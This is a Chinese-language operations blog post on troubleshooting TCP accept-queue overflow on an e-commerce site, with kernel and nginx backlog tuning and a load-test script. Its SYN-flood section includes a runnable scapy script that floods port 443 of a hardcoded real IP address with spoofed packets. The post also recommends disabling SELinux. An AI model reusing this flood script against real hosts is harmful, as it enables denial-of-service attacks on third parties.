记一次惊心的网站 TCP 队列问题排查经历

来源:高效运维

ID:greatops

问题描述

  1. 监控系统发现电商网站主页及其它页面间歇性的无法访问;
  2. 查看安全防护和网络流量、应用系统负载均正常;
  3. 系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

此时问题已影响到整个网站的正常业务,我那个心惊呀,最主要是报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。

问题初步判断

  • 检查dev 和 网卡设备层,是否有error和drop ,分析在硬件和系统层是否异常 ----- 命令 cat /proc/net/dev 和 ifconfig
  • 观察socket overflow 和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)----- 命令 netstat -s |grep -i listen

发现SYN socket overflow 和 socket droped 急增加

  • 检查sysctl内核参数:backlog ,somaxconn,file-max 和 应用程序的backlog ;

ss -lnt查询,SEND-Q会取上述参数的最小值

发现当时队列已经超过网站80端口和443端口默认值

  • 检查 selinux 和 NetworkManager 是否启用 ,建议禁用;
  • 检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle;
  • 抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

深入分析问题

正常TCP建连接三次握手过程:

  • 第一步:客户端 发送 syn 到 服务端发起握手;
  • 第二步:服务端 收到 syn后回复syn+ack给 客户端;
  • 第三步:客户端 收到syn+ack后,回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后,OS怎么处理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow
0

tcp_abort_on_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

查看sysctl内核参数:backlog ,somaxconn,file-max 和 nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

  • linux内核参进行优化: net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_syn_backlog = 16384 net.core.somaxconn = 16384
  • nginx 配置参数优化: backlog=32768;

利用python 多线程压测,并未发现新的问题:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:
    for each_a_tag in soup.find_all('a'):
        try:
            ex.submit(requests.get,each_a_tag['href'])
        except Exception as err:
            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcp_abort_on_overflow指示的执行。

这时如果全连接队列满了并且tcp_abort_on_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

sYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

from concurrent.futures import ThreadPoolExecutor
from scapy.all import *
def synFlood(tgt,dPort):
    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
               '125.130.5.199']
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
        packet = ipLayer/tcpLayer
        send(packet)

tgt = '139.196.251.198'
print(tgt)
dPort = 443

with ThreadPoolExecutor(10000000) as ex:
    try:
        ex.submit(synFlood(tgt,dPort))
    except Exception as err:
        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发。

出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制,后续有机会写一下应急方面的文章。

原文发布于微信公众号 - 马哥Linux运维(magedu-Linux)

原文发表时间:2018-05-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏「3306 Pai」社区

nginx+php-fpm故障排查

小明初到一家公司做运维的工作,刚来的第一天就开始部署LNMP(Linux+Nginx+MySQL+PHP)环境,结果出现了问题。 他来向我请教。

841
来自专栏张善友的专栏

使用熔断器设计模式保护软件

作为软件开发人员,我们的生活是快节奏的,我们采用的是敏捷软件开发方法,迭代式的开发我们软件功能,开发完成提交测试,通过了QA的测试后被部署到生产环境,然后可怕的...

1686
来自专栏码洞

深入理解 RPC 交互流程

文节我们讲解 RPC 的消息交互流程,目的是搞清楚一个简单的 RPC 方法调用背后究竟发生了怎样复杂曲折的故事,以看透 RPC 的本质。

452
来自专栏磨磨谈

如何避免Cephfs被完全毁掉

一套系统的最低要求是可恢复,也就是数据不丢失,但是在各种各样的原因下,整套系统都有被毁掉的可能,一直以来有个观点就是存储是需要两套的,一般情况下很难实现,但是如...

1021
来自专栏黑白安全

短信轰炸剖析

在互联网中,由于越来越多的平台在注册会员,找回密码,以及手机支付的时候,为了防止他人冒用,恶意盗号,资金的安全往往都会使用短信验证码来验证,从而提升帐号的安全性...

2344
来自专栏lulianqi

超高性能管线式HTTP请求(实践·原理·实现)

这里的高性能指的就是网卡有多快请求发送就能有多快,基本上一般的服务器在一台客户端的压力下就会出现明显延时。

771
来自专栏顶级程序员

记一次惊心的网站TCP队列问题排查经历

此时问题已经影响到整个网站的正常业务,我的那个心惊的呀,最主要报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,...

612
来自专栏不想当开发的产品不是好测试

mysql-proxy 简介

# 背景 今天同事分享的主题就是mysql-proxy,于是下来自己了解下,不求精通,只求知道这个玩意 # 简介 mysql-proxy是mysql官方提供的m...

3245
来自专栏微信小程序开发

python爬虫scrapy框架介绍

Scrapy介绍 ? Scrapy是一个为了爬取网站数据,提取结构性数据而编写的应用框架。 可以应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中。 所...

2847
来自专栏信安之路

PowerShell 降级攻击的检测与防御

在第一部分中,我提供了 PowerShell 的高级概述及其对网络的潜在风险。 当然,如果我们有追踪机制,那么只能缓解一些 PowerShell 攻击,假设我们...

730

扫码关注云+社区